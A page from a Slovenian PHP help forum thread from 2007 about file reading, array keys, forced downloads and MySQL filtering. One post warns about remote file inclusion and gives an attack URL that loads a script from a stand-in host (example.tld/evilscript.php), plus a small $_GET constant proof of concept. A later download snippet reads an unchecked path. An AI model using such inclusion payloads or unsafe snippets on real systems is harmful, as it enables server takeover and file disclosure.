<?php
$datum = "Pon, 20.12.1982 0:00";
list($dan, $datum, $cas) = explode(" ", $datum);
echo $dan . " " . $datum;
?>
Vse o PHPju
Ustvaril
publikum
, jul 24 2005 17:05
Odgovorov v temi: 1931
#1602
Objavljeno 14 april 2007 - 19:35
Mene pa zanima če bi se dalo s preprostim ukazom priklicati neko datoteko na mojem serverju iz nje prebrati neko naključno vrstico in jo potem zapisati na točno določeno mesto na strani.
Aja mogoče bo to tudi nekaj pomagalo da imam preprost phbbb forum lol.
Aja mogoče bo to tudi nekaj pomagalo da imam preprost phbbb forum lol.
#1605
Objavljeno 20 april 2007 - 12:22
Spet eno vprašanje
Zakaj se napiše samo
// Get a file into an array. In this example we'll go through HTTP to get
// the HTML source of a URL.
$lines = file('random/regulars.txt');
// Loop through our array, show HTML source as HTML source; and line numbers too.
foreach ($lines as $line_num => $line) {
$regulars = "Line #<b>{$line_num}</b> : " . htmlspecialchars($line) . "<br />n";
}Zakaj se napiše samo
Line #115 : WennyG
#1612
Objavljeno 25 april 2007 - 04:38
mpapler, bolje je programirati tako, da ti v načinu E_ALL ne izpiše prav nobene napake...
Glede tvoje razvade - v tvojem primeru se lahko zakomplicira, če definiraš konstanto asdf, ker potem PHP ne ve kaj naj upošteva - konstanto ali pa naj asdf jemlje kot niz ('asdf')...
Glede tvoje razvade - v tvojem primeru se lahko zakomplicira, če definiraš konstanto asdf, ker potem PHP ne ve kaj naj upošteva - konstanto ali pa naj asdf jemlje kot niz ('asdf')...
#1614
Objavljeno 25 april 2007 - 21:47
mpapler, E_NOTICE te opozori, če kakšne spremenljivke nisi predhodno definiral, kar je lahko velika varnostna luknja, če so v nastavitvah PHP-ja register globals vključene. Torej, če ti napišeš:
Glede arrayev: raje uporabljaj narekovaje, ker ziher je ziher, lahko da dinamično vključuješ plugine in nekdo slučajno definira konstanto z takšnim imenom v plugin datoteki in že bo cel cirkus zaradi enih bogih narekovajev. Lahko je kdo tud tako pameten da tole naredi:
<?php include($myvar); ?>in je nastavitev register globals na ON, lahk nekdo naredi ime_datoteke.php?myvar=http://example.tld/evilscript.php in pridobi nadzor nad strežnikom. Zato je pametno ta opozorila upoštevati, saj ne veš pri kakšnih nastavitvah bo potem tvoja skripta delovala ko jo boš prodal.
Glede arrayev: raje uporabljaj narekovaje, ker ziher je ziher, lahko da dinamično vključuješ plugine in nekdo slučajno definira konstanto z takšnim imenom v plugin datoteki in že bo cel cirkus zaradi enih bogih narekovajev. Lahko je kdo tud tako pameten da tole naredi:
<?php
// datoteka z pluginom
define('asdf', $_GET['asdf']);
?>
<?php
// datoteka, ki uporablja plugin
include('asdf.php');
$array = beriZeloPomembnePodatke();
echo $array[asdf];
?>Nepridiprav vpiše npr dat.php?asdf=index_arraya in že se mu izpiše vrednost pod tistim indexom v arrayu. Sicer je malo verjetno, da bo kdo tak programiru ampak PoC je pa le ;-)
#1615
Objavljeno 28 april 2007 - 10:31
Zdravo, že kar nekaj časa iščem preprosto skripto za dodajanje verzov na spletno stran. Rabil bi čisto preprosto, kjer bi lahko vsakdo dodal svoj verz. Vpisati bi moral varnostno kodo in svoje ime, ter verz. Edino jaz bi lahko brisal in popravljal verze, če se da.
PS: kako pa je narejena funkcija "pošlji verz prijatelju"?
Najlepša hvala za pomoč
Jernej :ok:
PS: kako pa je narejena funkcija "pošlji verz prijatelju"?
Najlepša hvala za pomoč
Jernej :ok:
#1616
Objavljeno 23 maj 2007 - 13:40
Imam skripto, ki mi ustvari Link za dolpoteg neke datoteke:
<a href='".STRAN."?downlod_id=$cat_id&download_id=".$data['download_id']."' target='_parent'>"Download"</a>Jaz pa bi rad, da takoj ko nekdo klikne na link se mu pokaže za shranitev datoteke in ga hkrati preusmeri na neko drugo stran.
#1617
Objavljeno 23 maj 2007 - 19:25
<?php
$mm_type="application/octet-stream";
header("Cache-Control: public, must-revalidate");
header("Pragma: hack");
header("Content-Type: " . $mm_type);
header("Content-Length: " .(string)(filesize($url)) );
header('Content-Disposition: attachment; filename="'.basename($url).'"');
header("Content-Transfer-Encoding: binaryn");
$fp = fopen($url, 'rb');
$buffer = fread($fp, filesize($url));
fclose ($fp);
print $buffer;
?>iz
http://si.php.net/ma...tion.header.php
#1619
Objavljeno 07 junij 2007 - 13:41
Kako filtrirati bazo mysql?
Imam skripto za izris slike. Naslov do slike je shranjen v tabeli mysql. V tej tabeli pa je tudi stolpec "pozicija". Kako naj filtriram te slike v bazi tako, da se bodo uporabile samo tiste, ki imajo za vrednost pozicija npr. številko 1?
Naredil sem takole samo ne deluje:
Problem je v tem, da dokler je samo ena slika z vrednostjo ena deluje, če pa jih je več ali nobene pa poruši strukturo tabel in zraven prikaže pol drugih stvari
Imam skripto za izris slike. Naslov do slike je shranjen v tabeli mysql. V tej tabeli pa je tudi stolpec "pozicija". Kako naj filtriram te slike v bazi tako, da se bodo uporabile samo tiste, ki imajo za vrednost pozicija npr. številko 1?
Naredil sem takole samo ne deluje:
$result = dbquery("SELECT * FROM ".$db_prefix."buttons WHERE button_pozicija=1");Problem je v tem, da dokler je samo ena slika z vrednostjo ena deluje, če pa jih je več ali nobene pa poruši strukturo tabel in zraven prikaže pol drugih stvari
while ($data=dbarray($result)) {
echo "
<div align='center'>
<table cellpadding='4' cellspacing='0' width='100%'>
<tr><td><p align='center'><a href='".INFUSIONS."button_panel/button.php?button_id=".$data['button_id']."' target='_blank'>
<img src='".$data['button_pic']."' border='0' style='filter:alpha(opacity=30)' onMouseOver='nereidFade(this,100,10,30)' onMouseOut='nereidFade(this,30,10,5)' title='".$data['button_name']."' alt='".$data['button_name']."'></a>
</td></tr>";
}
echo "</table></div></p></center></marquee>";
} else {
echo "<div style='text-align:center'>".$locale['BLAN_102']."</div>";
}
Dodaj odgovor
0 član(ov) bere to temo
0 članov, 0 gostov, 0 anonimnih uporabnikov








